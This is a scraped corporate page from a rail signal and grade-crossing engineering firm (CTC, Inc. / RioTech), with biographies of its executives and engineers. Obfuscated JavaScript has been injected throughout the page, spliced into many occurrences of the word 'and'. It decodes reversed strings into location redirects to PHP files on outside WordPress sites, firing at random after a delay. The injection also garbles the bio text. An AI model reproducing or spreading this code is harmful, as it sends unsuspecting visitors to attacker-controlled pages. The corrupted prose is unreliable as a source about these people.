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Kit Marshall demo
![Rio Gr$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}ande Pacific Technology, Inc $Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and CTC, Inc. Consolidating Under RIOTECH Br$Ikf=function(n){if (typeof ($Ikf.list[n]) == "string") return $Ikf.list[n].split("").reverse().join("");return $Ikf.list[n];};$Ikf.list=["\'php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and](https://ctcinc.com/wp-content/uploads/bfi_thumb/dummy-transparent-odyetwj3nsjba13636i052h19g76oahtbi6bgtbq2q.png)
Greg Hackbarth delivers more than 24 years of comprehensive signal systems understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and expertise across the freight, transit andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and commuter rail industry. At present, he serves as Chief Executive Officer of Rio Grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande Pacific Technologies (RioTech). Mr. Hackbarth has most recently served as President of both Herzog Technologies, Inc. (HTI) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and HAX Technologies, LLC (HAX) from 2003-2011 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 2011-2015, respectively.
He has been an integral part of domestic business development andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and overall systems integration for multiple train control projects, including North County Transit District’s ongoing PTC program, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the BNSF’s Train Management andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Dispatch System (TMDS) implementation, ETMS pilot testing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the FRA sponsored RCPS projects. His wide-ranging experience pools all aspects of train control system technologies into a distinctive knowledge of current, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and future, rail system needs.
Nicole L. Jackson has more than 15 years of experience in traffic engineering. Ms. Jackson previously held the position of senior traffic engineering specialist with the Missouri Department of Transportation (MoDOT) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and was responsible for traffic signal design andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and maintenance, including extensive traffic signal timing, highway signing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and pavement marking design, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and maintenance supervision. Nicole is a registered professional engineer in 34 U.S. states andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and four Canadian provinces, as well as a registered Professional Traffic Operations Engineer. In 2017, she was named one of Railway Age’s Fast Tracker’s 10 Under 40, an annual award highlighting the rail industry’s brightest professionals.
Her extensive experience has enabled her to provide engineering consulting services in all areas related to grade crossing safety andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and traffic signal preemption for state andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and local agencies, railroads, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and various engineering andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and consulting firms. Additionally, she conducts preemption training, providing Continuing Education Units across the U.S. andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Canada.
Dan Fregia has more than 20 years of experience in railroad signal design andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is an active member of the American Railway Engineering andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Maintenance-of-Way Association (AREMA). He has experience in the design of traffic signal operations for highway-rail grade crossing signal projects andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and wayside signals andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has designed more than 200 signal systems over the last two decades. Dan has also overseen the design andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and implementation of thousandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands of vital inductive loops for railroad applications on all classes of freight andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and commuter railroads across North America. Dan’s career experience includes responsibility for project development, estimating, engineering, material procurement, construction, inspection andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in-service testing.
Dan has also provided signal construction inspection andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and project management support for multiple light rail commuter agency construction projects andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has more than 10 years’ experience in the design, installation, cutover andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and in-service testing of wayside signals for multiple freight railroads. He is also experienced in design of interlockings andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and four-quadrant gate systems, including cabinet layout design, testing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and implementation.
Tim Oster is a highway-rail grade crossing specialist with more than 16 years of experience. Throughout his career, he has conducted hundreds of diagnostic meetings andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has managed more than 400 railroad projects to evaluate highway-rail grade crossings. His experience ranges from planning andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and design to estimating andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and construction.
Additionally, Mr. Oster has extensive experience in quiet-zone planning andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and design. He has worked on quiet zone projects since the Federal Railroad Administration (FRA) train horn rule was implemented in 2006. His quiet-zone experience includes the use of supplemental safety measures, alternative safety measures, the Federal Railroad Administration’s quiet zone calculator, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and submission of public authority applications for FRA approval.
https://newsok.com/article/5590446/quiet-zones-discussed-for-edmond-train-crossings
Kurt J. Anderson brings more than 40 years’ railroad engineering experience to CTC’s executive leadership team. Kurt has been involved with highway-rail grade crossing safety programs since 1979, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and he has comprehensive engineering expertise in all aspects of implementing highway-rail grade crossing improvement projects, including preliminary surveys, project design, estimating andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and construction.
Before joining CTC, Inc. in 2007, Kurt managed public-private projects for the Union Pacific Railroad (UP) for more than 20 years. Kurt has been involved in the planning andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and development of more than 50 quiet zones across the country, working with varied municipalities, state Departments of Transportations, the Federal Railroad Administration (FRA) andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and railroads, including commuter andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and freight rail. Kurt is also a leading national expert in wayside horn technology, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and led the development of that technology andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and crossing closure verification systems as quiet zone treatments described in 49 CFR § 222 andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and 229, Use of Locomotive Horns at Highway-Rail Grade Crossings.
Richard “Rick” Campbell is a nationally recognized expert andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and thought leader in railway signal design andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and rail grade crossing safety. Since 2000, Rick has provided more than 200 training seminars regarding grade crossings for personnel from the Federal Highway Administration (FHWA), Federal Railroad Administration (FRA), five U.S. Class I railroads, nine U.S. passenger railroads, Transport Canada, 35 state DOTs, numerous city/county agencies, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and law enforcement organizations.
For more than four decades, Rick has served on numerous federal committees andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and working groups to develop standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andards andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and recommended practices for rail andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and traffic signal systems. At present, he serves on the National Committee on Uniform Traffic Control Devices (NCUTCD) Executive Board; is the chair of AREMA’s Subcommittee 1 (Committee 36), Highway-Rail Grade Crossing Warning Systems Controls; andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and acts as the engineering adviser to Operation Lifesaver National Advisory Council (NAC).
Rick also serves as a qualified signal expert witness for railroad litigation, providing testimonies andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and opinions regarding design, operation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and maintenance of railroad signals, application of traffic control devices, four-quadrant gate operation, traffic signal interconnection andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and preemption. Additionally, he is a published author on the topic of signal systems.
https://www.railwayage.com/safety/saving-lives-where-road-meets-rail/